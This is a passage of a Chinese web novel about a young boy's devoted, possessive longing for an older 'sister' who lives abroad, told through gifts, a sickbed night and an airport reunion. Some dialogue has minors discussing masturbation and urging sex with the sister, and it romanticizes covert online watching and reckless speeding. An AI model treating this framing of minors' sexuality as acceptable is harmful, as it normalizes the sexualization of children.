不能说从哪里知道的，不然她肯定会告诉姐姐的。
万一姐姐把账号注销了，他就不能视奸了。
43. 公狗觉醒
沈知逸避开这个话题：【我加你微信这件事，能不能别告诉我姐姐？】
温琳姐：【为什么，怕你姐姐知道了生气？】
沈知逸：【……】
温琳姐：【我不会告诉她的。】
沈知逸：【你知道我姐姐现在住在哪里吗？】
温琳姐：【应该还住在曼哈顿，那里治安好，你想过去找她？】
沈知逸：【嗯，快放暑假了。】
温琳姐：【还是别了，美国那边很乱的，我小时候第一次去的时候背了一个Gucci的包，被飞车党给抢了，我靠，真的吓死，还有我之前在街上，有一个疯子拿着枪乱扫，打死了好几个人。】
沈知逸：【那姐姐会不会很危险，我们去叫她回来吧。】
温琳姐：【她在那边待了那么多年，知道哪些地方不能去。】
温琳姐：【你千万不能一个人去，最好找家里的大人陪你一起，你这么小，口语还没有能日常交流的水平，人生地不熟的，最容易出事。】
沈知逸：【嗯，知道了。】
学校开始放暑假了，陈研发消息跟家长打了声招呼，就带着行李搬进了沈知逸家里。
沈知逸问：“你不回家，真的没事吗？你家里人不会着急吗？”
陈研叼着棒棒糖，手指狂按游戏机：“我家里没人，我那个爸爸总去国外出差，回来不了几次。”
沈知逸：“哦。”
陈研眼睛一亮：“我爸给我转了十万块钱，让我跟你拿着去花。”
沈知逸：“不用了……”
陈研放下游戏机：“去吧，不用跟他客气，他可能觉得我总住在你家，吃你的，用你的，他有点不好意思了。”
沈知逸忙摆手：“真的不用……”
“走走走！出发出发！”
两个男孩骑着山地车来到商场。
陈研就跟鬼子进村似的，一阵扫荡搜刮，购物车里全是零食饮料，还有新款游戏机和乐高。
沈知逸的东西就占了一点点地方，陈研翻开来看了看，没看出来是个什么东西，问他：“你这买的什么？”
沈知逸犹豫几秒：“羊毛毡……”
陈研：“哈？那是什么东西？”
沈知逸把羊毛毡玩具拿起来，指着后面的说明书给陈研看。
“你看，就把羊毛卷成自己想要的形状，然后用针戳戳戳，就能戳出各种可爱的小动物……”
陈研目瞪口呆：“这不是女生爱玩的吗，沈知逸，你也喜欢玩这个？”
沈知逸挠头，有点不好意思，脸红红的，慢慢低下了脑袋。
“我姐姐的生日快到了……”
陈研：“……”
到收银台，两个男孩把购物车里的东西放上去。
沈知逸去拿分隔棒，把他和陈研的东西分隔开来。
陈研：“……”
陈研丢开分隔棒，把他们两个人的东西推到一起：“说好了，我请你的。”
沈知逸摇头：“不用。”
他拿出手机正要向收银员亮出付款码，就被陈研一屁股撞飞出去，不得不说，打篮球的力气是真的很大，他差点没飞到墙上去。
陈研瞥他一眼，付了钱，碎碎念着：“就买那么点几块钱的东西，还跟我计较……”
沈知逸揉着被撞痛的胯骨：“……”
回到家，沈知逸趴在茶几上，跟着手机上的教学视频，拿着针戳羊毛毡。
这个需要很小心，稍不留意就会戳到手，他边看视频边戳的时候，手指头就被扎了好几次。
陈研拿着拼好的乐高走过来，沈知逸听到动静回头看他，然后那根细针就扎到了手指上。
他还没反应过来，陈研倒是先发出了一声土拨鼠的尖叫。
“我靠！你扎到手了！你不痛吗？！”
“哦……”
沈知逸面不改色，淡定地把针拔出来。
“扎多了，就不痛了。”
陈研仰头望天，不停地叹气摇头：“你姐姐不是在国外吗？生日礼物你要怎么送给她？”
沈知逸说：“跟温琳姐的一起寄给她。”
陈研：“哦，就是那个很喜欢穿黑丝袜的骚女人。”
沈知逸：“……”
陈研：“嘿嘿，我最近几天晚上都是想着她的脸去撸的，爽死了。”
沈知逸：“……”
陈研：“你肯定也想过你姐姐吧？爽不爽？”
沈知逸脸颊一红：“我没有！”
陈研：“哦？真的吗？”
沈知逸别过身去，耳尖发红。
陈研怪腔怪调地“哦”了一声：“光想是没有用的，不能真的跟她上床，你要有所行动。”
沈知逸回过头来：“你敢当着温琳姐的面说这些吗？”
陈研吊儿郎当的：“说什么？”
沈知逸：“说你想着她的脸，奖、奖励自己。”
陈研坏笑：“这有什么不敢？”
“嗡——嗡——”
茶几上的手机开始震动，屏幕上跳出温琳的名字，沈知逸拿着手机站起来：“是温琳姐的电话。”
陈研两眼一瞪：“卧槽，你快接！”
沈知逸按下接听键，是视频通话，他把手机拿远，想带着陈研一起入镜，结果怎么变换角度都看不到陈研人在哪里。
他回头，看到沙发角落里，陈研用毯子裹住自己，只露出五官，用唇语说：“你接了吗？”
沈知逸学着他刚才的模样和语气，吊儿郎当的，笑得坏坏的，意有所指地说：“这有什么不敢？”
陈研像乌龟缩进壳里一样，缩回毯子里，并留下一串：“……”
温琳打电话过来，跟沈知逸聊了一会，跟他约好明天碰面的时间，把快递一起寄出去。
沈知逸熬到凌晨，用羊毛毡戳了很多只小狗，什么品种都有，柴犬，泰迪，柯基……多到塞满了一个小盒子。
到约定时间，沈知逸骑着山地车去温琳家，把礼物给她。
温琳看到他拿着礼物的手，手指上有很多密密麻麻的小血洞，皮肤看起来凹凸不平的，心里觉得有些奇怪，不过也没有问他，收下他的礼物，叮嘱了他几句，就让他早点回家休息了。
生日这天早上，黎娜收到了从国内寄来的包裹。
她先拆了温琳的，听温琳说沈知逸准备的礼物也在里面。
温琳送的礼物是一条项链，黎娜戴到脖子上，继续往下翻，翻出来一个粉色的小盒子，上面用丝带系着蝴蝶结。
黎娜揪住丝带，轻轻扯开，掀开盖子，看到了满满一盒的小狗，不禁愣住了。
她忍不住笑，拿出来几只放到手心上，发现它们每一只都长得很不一样，颜色也不一样，她能想的起来的品种，
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这里面都有。
手机响了一下。
温琳：【礼物收到了吧，沈知逸送的什么？我真的特别好奇！快点拍给我看看！】
黎娜把一盒子的小狗拍了张照片，发给温琳。
黎娜：【材质挺有意思的，我之前从来没见过这样的小玩偶。】
温琳：【你没见过吗？这是羊毛毡吧？】
黎娜上网搜索羊毛毡，还真是，制作过程挺麻烦的，要一直用针戳，看到好多羊毛毡视频下面，有人评论说手都要被针戳烂了。
这个盒子里这么多小狗，黎娜不敢想象沈知逸戳了多久，会不会不小心被针扎到手。
温琳：【怪不得我看他手指头上全是小血洞，原来是被针扎出来，这个小孩可真狠啊，难道他不会觉得痛吗？】
看到温琳发的这条消息，黎娜心脏仿佛被闷捶敲了几下，一时间上不来气，目光再次回到盒子里的那些小狗上，她不知怎么的，眼前一片模糊，那些小狗随着她摇摇欲坠的泪光在晃动。
到底是什么东西，在轻轻撬动她那颗又冷又硬的心脏，试图要撬出一个缝隙出来，再塞个什么东西进去，这种感觉好可怕。
黎娜合上盖子，重新系好蝴蝶结，放进不常打开的抽屉里，用钥匙锁好。
自从黎娜离开后，时间似乎变得特别快，但煎熬一点都不少，沈知逸每天最期待的消息，就是黎娜回来的消息。
他每天都在期待，每天都在体会希望落空的感觉，就这样一直到快过年，许久没有找他的温琳发消息过来了。
温琳：【告诉你一个秘密。】
温琳：【你姐姐回国了。】
沈知逸：【真的吗！你不要骗我！】
温琳：【真的，她就在我家，你知道我家在哪吧？】
沈知逸：【知道！我现在过去！】
外面在下雪，沈知逸在睡衣外面套了件羽绒服，骑上山地车去往温琳家的方向。
温琳和他住在同一个区域，离得不远，就一百多米，骑车两分钟就到了。
他没有戴手套，手都冻僵了，鼻子和脸被风吹得通红，停好自行车就去按温琳家的门铃。
清脆的一声“叮咚”过后，里面隐约传来走路的声音，能听出来距离在逐渐接近，沈知逸心脏仿佛被人用手捏住攥紧，紧张到不能正常地吸气吐气。
门开了。
温琳穿着浅粉色的真丝睡裙，黑色短发和下巴在同一水平线，没有化妆，脸上只有黑白两种颜色，显得冷淡又漂亮。
看到沈知逸站在外面，衣服和头发上全是雪，鼻尖红红的，牙齿一直打颤，眼睛却那么明亮，如同装进了夏夜的星光，温琳忽然大笑出声。
“你真的来啦，我逗你玩呢，你姐姐没回来，她还在国外。”
于是，她看到这个小男孩眼中的星光瞬间熄灭，有晶莹的东西浮上来，他皱紧眉头，不可置信地瞪着她，声音颤抖带着一丝哭意。
“你为什么要骗我，你明明知道我有多想看到姐姐，你为什么要拿姐姐骗我……”
“温琳姐，你好过分。”
温琳很是愧疚地望着他，伸手想摸摸他的脑袋。
他后退一步避开，转身就走。
雪花落进他眼泪里迅速消融。
身后传来温琳的大笑声。
“完蛋了，娜娜你快出来，我不小心把你家小孩弄哭啦！”
44. 公狗觉醒
沈知逸身形一顿。
从温琳的笑声中，他捕捉到一阵节奏很熟悉的脚步声，整个人都僵住了，鞋子踩进雪里像被冻住了一样，他像个生锈的机器人，僵硬地转过头去。
只见昏暗的室内出现了一抹高挑纤瘦的身影，走到门口停下，双手环胸，倚靠在门框上，目光向外环视一圈，最后落到沈知逸身上，就此定住，不再移动。
她穿着和温琳同款的粉色真丝睡裙，皮肤比之前黑了一些，卷发还是之前的长度，垂在胸口，腰间系了根丝带，很随意地垂下来，随着冷风轻轻晃动。
沈知逸睁大双眼，嘴巴微微张开，他日思夜想的姐姐，此刻竟然就在他面前，天知道他有多害怕这是一场梦，他甚至都不敢动，就怕一动会醒过来，姐姐就不见了。
黎娜视线往下移，看到沈知逸垂在身侧被冻红的手。记得刚在大街上捡到他的时候，他手上全是冻疮，密密麻麻的没有一处好地方，现在看上去白净了许多，后来应该没有复发过。
“外面冷不冷？”黎娜问他。
他低下头，浑身发抖，嘴倒是挺硬：“不冷……”
“好，那你就站在外面。”
黎娜转身走回屋里。
沈知逸就真的站在外面淋雪吹风，看着黎娜消失在黑暗中的身影，他眼中有委屈也有不舍，却特别听她的话，站在外面一动不动。
温琳忍俊不禁，把他拽进来，关上门，扔了双拖鞋给他。
“你傻啊，你姐姐问你冷不冷，是想让你快点进来，你竟然说不冷，还真的站在外面吹风，你怎么这么听她的话啊，傻不傻？”
温琳这么一提醒，沈知逸才后知后觉地反应过来，有些无措地低下脑袋，小声嘟囔着：“我不听她的话，还能听谁的话啊……”
温琳挑眉，低声笑了。
房子里只开了一盏暖黄色的灯，黎娜侧躺在沙发上，手撑着脑袋，昏昏欲睡，卷发在灯光照耀下泛着轻金色，很蓬松，看上去很柔软。
沈知逸从她面前经过，手臂有意无意蹭过她的卷发，痒痒的，他嘴角控制不住地往上翘，眼中漾开笑意。
温琳给他放了一杯热牛奶。
沈知逸受宠若惊地接过来，垂下眸子说：“温琳姐，对不起。”
温琳愣住：“你哪里对不起我？”
沈知逸说：“刚才对你特别凶……”
想起他刚才难过到哭的样子，温琳笑出声：“那也叫凶吗？”
“嗯。”
黎娜翻了个身：“滚出去说话行不行，吵死了。”
沈知逸和温琳不吱声了。
两人相视一眼，温琳用眼神说：看到没，这才叫凶。
沈知逸附和地点头，嘴巴闭得紧紧的，连呼吸声都变轻了。
沈知逸和温琳面对着面，拿着手机给对方发消息。
温琳：【晚上别回去了，跟你姐姐一起住在这里。】
沈知逸抬起头，眼睛亮晶晶的，用气音说：“可以吗！我真的可以住在这里吗！”
温琳把手指放到嘴前，轻轻地“嘘”了一声，指了指手机。
沈知逸太激动了，低头一看手机，脸上笑容消失。
温琳：【想得美，当然不可以。】
沈知逸：【你怎么又骗我……】
温琳：【哈哈哈哈哈，你可以留在这里。】
沈知逸半信半疑地看向她，她抱着手机转身上楼了，到卧室门口还双手合十放在脸旁，做了个睡觉的姿势，就轻轻地关上了门。
客厅里只剩下他和黎娜。
黎娜蜷缩在毯子里，眼睛紧闭，眉心微微皱起，看起来不太舒服的样子，已经睡着了。
沈知逸脱掉羽绒服外套，在沙发另一头躺下，找了个毯子盖在身上，隔一会就要睁开眼睛，看看对面的黎娜还在不在。
到凌晨，沈知逸被一阵咳嗽声吵醒了。
他揉着眼睛坐起来，毯子从肩膀上滑下去，在一片漆黑中，他看到了一个模糊的身影，在沙发上翻来覆去，辗转难眠。
“姐姐……”
沈知逸跳下沙发，来到黎娜面前，蹲下来，看到她睁开眼睛，黑色的瞳仁在月光下反射出光线，直直地落在他身上，她停顿片刻，捂着嘴翻过身去。
“离我远一点。”
她声音嘶哑，背对着沈知逸，捂住嘴巴咳嗽止不住，肩膀一直在颤抖。
沈知逸弯腰凑过来，很担忧地问她：“你是不是生病了？”
黎娜用被子蒙住脑袋，轻声吼他：“别过来烦我，滚去睡觉！”
沈知逸揪住她的被子，轻轻地扯了几下，坚持不懈地问她：“姐姐，你感冒了对不对？”
“再烦我，我就揍你。”
沈知逸吓得收回手，拿起沙发上的外套出门了，怕自己回不来，门他没有关死，骑上山地车回自己住的地方，把一整个医药箱都搬进了温琳家，还带了个保温杯，里面有温水。
黎娜窝在毯子里，整个人蜷缩成一团，时不时咳嗽一声，精神状态很差，就这么一会又睡过去了，但又总被咳醒。
迷迷糊糊的，她感觉自己被人扶起来，靠在了一个单薄冰冷的怀抱里，带着冰雪的气息，耳边响起一道好听的少年音。
“姐姐，你身上好烫。”
黎娜：“……”
啊，怎么总觉得这句话怪怪的。
“姐姐，你好像发烧了。”
黎娜：“……”
啊，这句话怎么也怪怪的。
“别害怕，我会照顾你的。”
黎娜皱眉，唇上传来一抹冰冷的触感，有坚硬的东西磕到了她的牙齿，好像是玻璃杯，发出了一道清脆的声音。
“嘴巴张一下。”
黎娜眉心越皱越紧，自己伸手去拿杯子，结果在拿到杯子之前，她先握到了沈知逸的手。
很硬，很冰，还有点潮湿……
沈知逸突然急喘一声，垂下眸子小声说道：“姐姐的手，好温暖。”
黎娜头皮一阵发麻，迅速从沈知逸怀里出来，拿走他手里的杯子，把药一饮而尽，喝完撇了撇嘴说：“这药怎么这么甜？”
沈知逸说：“就是因为这个药甜，所以才给你喝的。”
黎娜：“这是小孩喝的吧？对我可能不起作用。”
沈知逸：“那……还有退热贴。”
沙发旁有个高脚小桌子，上面放着一盏台灯，沈知逸打开了，暖黄色的灯光瞬间照亮了他们这一小片区域。
黎娜习惯了黑暗，一时无法适应这么强烈的光线，微微眯起了眼睛，看向沈知逸，这才发现他穿着羽绒服，头发和肩膀上
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有很多雪花在悄然融化，顺着发丝滴落下来。
她看到沈知逸现在翻的那个医药箱，才知道为什么他身上都是雪，他刚才回家了一趟，肯定没戴手套，怪不得手那么冰。
“这里也有感冒药。”黎娜说。
沈知逸点头：“但是我不知道放在哪里，随便翻别人家里的东西好像不太好，而且温琳姐还是女生……”
黎娜“呵”了一声。
女生？
温琳是女生？
她都一把年纪了，竟然还能被称为是女生？
“找到了。”
沈知逸从医药箱里拿出一个盒子，上面有着可爱的北极熊图案。
黎娜暗道不妙，想就地躺下装死，结果她找了半天毯子，发现被沈知逸坐在屁股下面了，她扯了几下扯不动。
沈知逸已经打开盒子，拿出一片退热贴，眼睛亮晶晶地看着她。
黎娜心如死灰。
“给我，我自己贴。”
她撇开脸，朝沈知逸伸手，很像那个猴子伸手要东西的表情包。
沈知逸把退热贴护在怀里：“你看不见自己的额头，贴不好的，我来给你贴。”
黎娜闭眼：“我看得见。”
沈知逸：“你眼睛又没长到头顶上……”
黎娜深吸口气：“我看得见，我已经跟我的额头相处二十多年了，它的位置我非常清楚。”
沈知逸笑了一声，眼睛弯成月牙：“就让我给你贴吧，好不好？我想给你贴。”
猴子伸手要东西的黎娜：“……”
沈知逸故作严肃：“姐姐，你现在是病人，你要听话一点。”
黎娜无奈躺下。
沈知逸把她额头上的绒毛轻轻拨到后面，无意间触碰到她的皮肤，温度很高，烫得他手指都微微蜷缩起来，很是心疼地望着她。
“姐姐，现在肯定很难受吧？”
黎娜很烦躁：“跟发烧比起来，还是那个有着北极熊图案的退热贴更让我难受。”
沈知逸撕开塑料膜，认真地把北极熊退热贴帖到她额头上：“怎么会，这个很冰很舒服的。”
黎娜：“我讨厌那个北极熊图案。”
沈知逸：“为什么，明明北极熊那么可爱。”
黎娜：“就是因为可爱才讨厌，我讨厌一切可爱的东西。”
沈知逸沉默几秒，突然开口问：“那我可爱吗？”
“可爱”的刻板印象是褒义词，用来夸人的，黎娜可不想夸他，下意识地就想说他不可爱，但话到嘴边才猛然意识到沈知逸在给她下套。
差点中计的黎娜：“你可爱啊，你最可爱了！”
沈知逸察觉到她的转变，眸色黯淡了一瞬，又轻轻笑了起来。
可爱又怎么样，北极熊退热贴也很可爱啊，姐姐最后还不是贴了。
于是，黎娜贴着退热贴睡了一晚。
期间沈知逸被她的咳嗽声吵醒了几次，就去摸摸她的退热贴还是不是冰的，如果不是，他就换一个新的。
到了早上，温琳打着哈欠下来，看到黎娜脑门上贴着北极熊，嘴巴一张就要笑，她赶紧用手捂住嘴，悄悄挪过去，拿出手机调成静音模式，对着黎娜的脸拍了一张照片。
“娜娜啊，你现在可是有把柄在我手里了，嘿嘿……”
45. 公狗觉醒
温琳笑得像个黑山老妖怪。
沈知逸突然在她身后出现，探头探脑地看她手机屏幕。
“姐姐有什么把柄在你手里？”
温琳立刻按灭手机，咳了几声，若无其事地说：“没有啊，她哪来的把柄啊，你姐姐做事滴水不漏！”
一股饭菜的香气飘过来，温琳吸了吸鼻子，惊恐得瞪大了双眼。
“我靠，好奇怪，我家做饭阿姨不是回老家了吗，为什么厨房里会有香味飘出来，难道是……田螺姑娘？”
“田螺姑娘”慢慢举起手，像讲台上举手发言的学生，有些不好意思地说：“是我做的。”
温琳目光落到面前这个男孩身上，不可置信道：“你做的？！”
沈知逸点头。
“我靠，香飞了！！”
温琳直接一个起跳弹射，跟只兔子似的窜进了厨房里，没多久就端了几盘吃的出来。
有青菜瘦肉粥，南瓜蒸蛋，时令蔬菜……
温琳喝了两大碗粥：“还是中餐好吃，以前做饭阿姨不在，我只能用牛奶泡燕麦圈对付一下。”
沈知逸站在一旁欲言又止，最后还是忍不住出声提醒：“温琳姐，我姐姐还没吃饭呢……”
“放心，你姐姐饭量小得跟只猫儿一样，我留一口给她就行。”
沈知逸：“……”
他沉默着走进厨房里，又蒸了点南瓜和蔬菜。
黎娜醒来撕掉退热贴，跟夜里比起来，温度降下去了一点，她没什么胃口，就喝了点粥。
沈知逸把锅里的南瓜和蔬菜端出来，放到她面前，特别贤惠的样子，还戴着一个牛仔围裙，像长辈一样嘱咐她。
“你吃这么点是不行的，要把我做的都吃完，身体才有力气去对抗病毒。”
黎娜往沙发上一躺：“好，我先睡了，晚安，比基尼海滩的每一个人。”
沈知逸：“……”
见温琳把盘子端进厨房里，他在沙发前蹲下来，悄悄凑向黎娜的耳朵，用手挡住嘴巴压低声音。
“我听温琳姐说，她手里有你的把柄……”
黎娜猛然睁开眼睛，把沈知逸的脸推走，揉了揉耳朵。
“什么把柄？”
“北极熊退热贴的把柄……”
黎娜瞬间坐起来，放声大喊：“温琳！”
温琳：“干什么！”
黎娜：“沈知逸说我有把柄在你手里，什么把柄，给我看看！”
温琳：“哈？什么把不把柄的，你想吃大饼了？”
黎娜：“……”
沈知逸眼睛一亮：“姐姐，你想吃大饼吗？我可以学的！”
黎娜：“……”
在我的面前，可以看到两个大傻/逼，一个是大傻/逼，还有一个也是大傻/逼。
黎娜昏昏沉沉地睡了一整天。
客厅里堆满了黎娜的行李，温琳从中拿出一个超大号购物袋，里面还有很多小的购物袋。
沈知逸拿着温度计，去给黎娜试体温。
温琳叫住他：“这里面是你姐姐送给你的礼物。”
沈知逸步伐一顿，听到有礼物似乎没反应过来，看上去没有多开心，而是很不确定地，小心翼翼地问：“你怎么知道是给我的，她跟你说了吗？”
温琳点头：“对啊，她昨天跟我说蓝色袋子里的东西是给你的。”
沈知逸“哦”了一声，蹲在旁边，看温琳把里面的东西都拿出来拆开。
有运动手表，头戴式耳机，还有可动手办……
看到那个手办的时候，沈知逸都震惊了，他之前好像在朋友圈发过一次很喜欢这个动漫人物，竟然被姐姐记下来了，还买了他一直心心念念却因为价格太昂贵而不舍得买的手办。
原来姐姐一直在关注着他。
沈知逸眼眶有些发热，声音闷闷地说：“可是……我都没有给姐姐准备礼物。”
温琳说：“那有什么关系，你姐姐还要留几天，你慢慢想。”
沈知逸呼吸一滞：“她还要回去吗？”
温琳：“那肯定的。”
“她就不能……留下来吗，为什么非要走，非要离开我……”
沈知逸低下头，含着泪水的眼睛被小卷毛盖住。
为什么啊，明明才刚见面，就要开始分别倒计时了。
他不能想象黎娜再次离开。
他会哭的。
他真的会哭的。
温琳拍拍他的肩膀。
“你姐姐非常喜欢画画，真的非常非常喜欢，她从来都是一个三分钟热度的人，但只有画画，她一直在坚持着，从来没有放弃过。”
“她以前跟我说过，自己好像突然丧失了快乐这项能力，就像一个残疾人失去了双腿再也拿不回来一样。她是彻彻底底地失去了，但只有画画的时候，她才能感受到平静和快乐。”
“既然她觉得快乐，那我们作为她的朋友和家人，就应该去支持她，你说对吗，小知逸？”
沈知逸点头，忍着眼泪，声音艰涩：“嗯，我希望她能一直开心，如果画画能让她开心，我愿意她去国外……”
可是，为什么，那个能让姐姐开心的，就不能是他呢？
怎么会这么嫉妒？
嫉妒到想变成一切她喜欢的东西，永远被她拿在手里，永远不会被她忘记。
在黎娜康复之后，沈知逸回到了家里。
他拉开床头柜的抽屉，里面有六枚金色奖牌，有学校发的，还有之前被学校送出去参加比赛获奖的，总共六枚，全在这里，他非常珍惜自己的这份荣誉。
现在，他把奖牌从红色丝带中取下来，轻轻地放到桌子上，拿出绘画本，铅笔和橡皮，低着头认真地画了起来。
最后他拿着这个绘画技巧很是青涩的稿子，走进了一家手工饰品店。
店老板是个带着眼镜的老头儿，留着一撮小胡子，有点高傲。
沈知逸进店的时候，店老板就抬眸瞥了他一眼，连声招呼都没打。
店老板不说话，沈知逸看他一直在忙，也不好意思打扰他，就站在一旁看他砸金烧银。
就这么站了快半个小时，店老板才恶声恶气地问他：“什么事啊？怎么来了一句话都不说？”
沈知逸垂眸：“我看你在忙……”
店老板：“我忙我的，你说你的。”
沈知逸把六枚奖牌放到桌子上，从口袋里拿出一个手稿，摊开放到他面前。
“叔叔，我想麻烦你帮我做一个风铃。”
听到这一声“叔叔”，店老板脸色柔和了许多，拿起手稿看了一眼，又看了眼他放在桌子上的六枚奖牌。
“用奖牌做风铃？”
沈知
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逸：“对，叔叔你真聪明！”
店老板“呵”了一声：“我又不是傻子！”
沈知逸：“叔叔你怎么会是傻子呢！”
店老板：“……”
这话听着怎么怪别扭的呢！
店老板把奖牌和图纸收好：“定金五百。”
“好。”沈知逸打开微信，没有用银行卡里的钱，那里面的钱都是黎娜转的，只有微信里的是他比赛获得的奖金。
店老板：“完工之后，补齐尾款一千五。”
沈知逸：“好，麻烦叔叔你做快点，我这边着急。”
店老板伸出五根手指头：“加五百，明天你过来取。”
沈知逸爽快付钱：“谢谢叔叔！”
黎娜收到了一条私信，是美国有名的时尚杂志社，想刊登她的作品上杂志，来谈合作的事情。
黎娜用邮箱跟杂志社取得了联系，约定好时间，就去定了机票。
温琳得知她明天下午就要走，整个人都炸了。
“你不是过完年才回美国吗！这连除夕都没到呢，你就要走？”
黎娜开始收拾行李：“嗯，有杂志社找我，我要回去，一分钟都不能多等。”
温琳倒在沙发上，摇头叹气：“小知逸要是知道了，肯定很难过吧……”
黎娜收拾行李的动作一顿：“那就别跟他说了。”
温琳瞪大眼睛：“天哪，那他会恨死我的！”
黎娜说：“你就跟他说，是我不让你告诉他的，这样他不会生你气的，他只会生我的气。”
温琳又开始叹气，叹着叹着都坐不住了，从沙发上跳起来，蹦到黎娜面前，按住她收拾行李的手。
“我感觉沈知逸这小孩真不是闹着玩的，他真的特别喜欢你，你打算拿他怎么办？”
说到沈知逸，黎娜头都开始疼了，烦躁地抓着头发：“我不知道。”
温琳真心建议：“要不下次见面，你当着他的面抠脚挖鼻屎吧，再嗦嗦手指头，保证能恶心死他，这样他就不会喜欢你了吧？”
黎娜头更疼了：“什么破建议，你自己拿去用吧！”
温琳摸着下巴，嘿嘿一笑：“我用不着啊，一般这种送上门的小弟弟，我早把人吃干抹净了。”
黎娜：“……臭不要脸。”
早上去有点太早了，中午去怕打扰店老板午休，沈知逸在下午一点钟来到手工饰品店。
事实证明，他来得非常巧，店老板正在包装奖牌风铃。
昨天这老板看上去吊儿郎当的，很不靠谱的样子，可他此刻在非常小心翼翼地把奖牌风铃放进一个超大的丝绒盒里，用牛皮纸包好，再用细麻绳缠绕好，挂进去一张卡片，认真地打了个蝴蝶结，敲了个章，再递给沈知逸。
沈知逸补齐尾款，双手接过来，眼睛里光芒闪烁，全是笑意。
“谢谢叔叔。”
店老板看着窗外的飘雪，不知怎么的，心里有些惆怅。
“我有一种很强烈的预感。”
“孩子，你这个礼物可能送不出去。”
沈知逸眼中光芒瞬间熄灭，不安地问：“为什么这么说？”
店老板说：“直觉。”
他这粗暴的一句“直觉”，可把沈知逸吓坏了。
沈知逸把奖牌风铃塞进衣服里抱好，帽子都没戴就冲进了雪里。
46. 公狗觉醒
除去那些给家人和朋友带的礼物，黎娜的行李并没有多少，就两个行李箱和一个超大号的LV水桶包。
司机把行李箱都放进后备箱。
温琳抱住黎娜的胳膊，不愿意撒手，一直用脸蹭，哭唧唧的，很小鸟依人的样子。
“今日一别，不知何时才能与黎郎再次相见……”
黎娜：“……”
她推开温琳的脸，转身上车，决绝的背影仿佛一个拔吊无情的渣男，透过车窗跟温琳招了招手，还很油腻很做作地给她去了一个飞吻。
温琳煞有其事地用手接住这个飞吻，握紧拳头放到胸口，看起来极为珍惜。
黎娜的车子离开后，温琳收到一条信息。
黎娜：【神经。】
温琳：【昨天在床上还叫人家小宝贝，下床了就不认人了，呜呜呜呜呜，我要吊死在你家门口……】
黎娜：【……】
温琳抱着手机笑个不停，在院子里跳来跳去，踩出来好几个雪洞，玩够了她准备回去，栏杆外面却突然传来一阵尖锐的刹车声，婆娑的树影间，有一抹熟悉的身影。
是沈知逸。
温琳嘴角上扬，笑得特别坏。
沈知逸停好自行车，抱着礼物走进来，按响温琳家的门铃。
门还没打开，温琳从院子里突然跳出来，吓得沈知逸浑身一震，看到是她才松了口气，又向她身后望去，没看到姐姐，那口气又闷在了胸口里。
他一路骑车过来，中间没休息，累得上气不接下气，浑身血液因为焦急的情绪发热滚烫，又在冰冷的寒风下迅速降温，很割裂的感觉，他仿佛被装进了一个透明的塑料袋里。
“我姐姐呢？”
他语气焦急难掩，心中升起一个不好的猜想。
温琳垂眸，看向他捧在手心里的那个包装精美的盒子，好奇地伸出手指去触碰，结果被他发现，他迅速后退一步避开，声音颤抖地问：“我姐姐是不是走了？”
温琳双手叉腰，笑嘻嘻地说：“是啊，她走了哦。”
沈知逸脸色瞬间惨白，浑身如失血般冰冷，他轻吸口气，压下眼睛里的泪意，抿着唇隐忍地点了点头。
“好，那我把东西寄给她。”
沈知逸抬头朝温琳笑了笑，笑容有些苍白。
温琳承认自己有点恶劣，看着这小孩明明难过得都要哭出来了，却倔强着强颜欢笑，做出一副一点都不难过的样子，她真的快忍不住要笑出来了。
她说：“我还是觉得，既然是你送给她的礼物，那还是当面送给她比较好。”
沈知逸不明所以地看向她，忽然意识到了什么，漆黑的眼睛仿佛被人扔进去了一把火，迅速点燃，跳跃起兴奋的火焰。
“等我一下哦，小知逸。”
温琳转身，黑色短发飘起形成一个漂亮的弧线，迈着长腿走进家里。
等她再出来的时候，人已经坐在了紫色的跑车里，也换好了衣服，把车子停到门口，放下车窗，透过一副黑墨镜看向沈知逸，红唇往上一扬。
“走，小知逸，带你去找姐姐。”
沈知逸愣了几秒，反应过来，激动地点头，眼睛亮得如同夏日雨后的夜空，他打开门迅速上车。
温琳提醒：“系好安全带。”
沈知逸：“好！”
温琳：“准备好了吗？”
沈知逸：“准备好了！船长！”
温琳哑然失笑：“你也看过海绵宝宝？”
沈知逸不好意思地低下头：“温琳姐，能不能先别管海绵宝宝了……”
温琳笑得肚子疼：“行，坐稳了，你温琳姐开车不要命的。”
她话音落下，跑车发出响彻天际的嗡鸣声，如同脱离了弩弓的箭，迅速飞跃出去，涌动的气流在挡风玻璃上清晰可见。
沈知逸抓紧安全带，看到仪表盘上的码速表已经指到了100，还在往上攀升。
他都不敢看前面，每次感觉都要撞到前面的车子了，温琳就会迅速超车避开，让他虚惊一场。
沈知逸经不起她这么刺激的开法，小声提醒。
“温琳姐，我们开慢一点吧，车速太快了……”
温琳用力踩油门，马路上的那些行驶的车子在她看来就跟静止了一样。
“不快，这样正好，能给你们多一点时间。”
沈知逸：“感觉会碰到别人的车……”
温琳勾唇一笑：“我一般开车上路，没有车子敢靠上来，连老爷爷老奶奶都不敢过来碰瓷。”
沈知逸：“……”
温琳：“你姐姐开车比我还快，她才是真的不要命。”
沈知逸被她这番话吓到：“真的吗，我姐姐开车很快？”
“快得像火箭发射。”
沈知逸很不安：“那你们下次再出去，你看着她点，别让她开那么快，很危险的……”
温琳笑得肩膀发颤：“行。”
半个小时后，跑车到达机场，温琳去找停车的地方，叫沈知逸先下车去找黎娜。
机场里全是人，不停地从身旁路过，沈知逸看得眼花缭乱，拿出手机拍了张附近有标志性的商店，发给黎娜。
沈知逸：【姐姐，我在机场，你上飞机了吗？】
黎娜：【你怎么会在机场？】
沈知逸：【温琳姐送我过来的。】
黎娜：【好，你待在原地别动，我现在过去找你。】
沈知逸看着这条消息，心跳微微加快，身旁随便路过一个人都让他浑身紧绷，只要看到高个子的女生就觉得是姐姐，但其实仔细看又不是，他反反复复被那些身形像姐姐的女人折磨着，像乱入了人类世界的小动物，无措地站在原地。
身后传来一阵熟悉的脚步声，在机场内鼎沸的人声中他一听就能认出来，是姐姐。
沈知逸迅速转身，果然看到黎娜穿着一身黑色大衣从人群中走出来，那么高挑，矜持优雅的样子。
他难以控制自己，走上前去扑进黎娜怀里，脑袋抵着她的下巴，轻轻地闻着她身上的香味，心中的不安被平息了一些。
黎娜双手抬在半空中，不知该如何是好，最后放在他后背上轻拍了几下，有些无奈地说：“差不多行了，多大的人了还要抱？”
沈知逸抱着她不松手，低着头，声音闷闷地说：“就抱一会，很快我们就要分开了，都不知道下次见面是什么时候……”
黎娜沉默几秒：“明年我就不回来了。”
本来在她怀里感到很温暖很满足的沈知逸，在听到这句话后，整个人如坠冰窖，松开她，抬
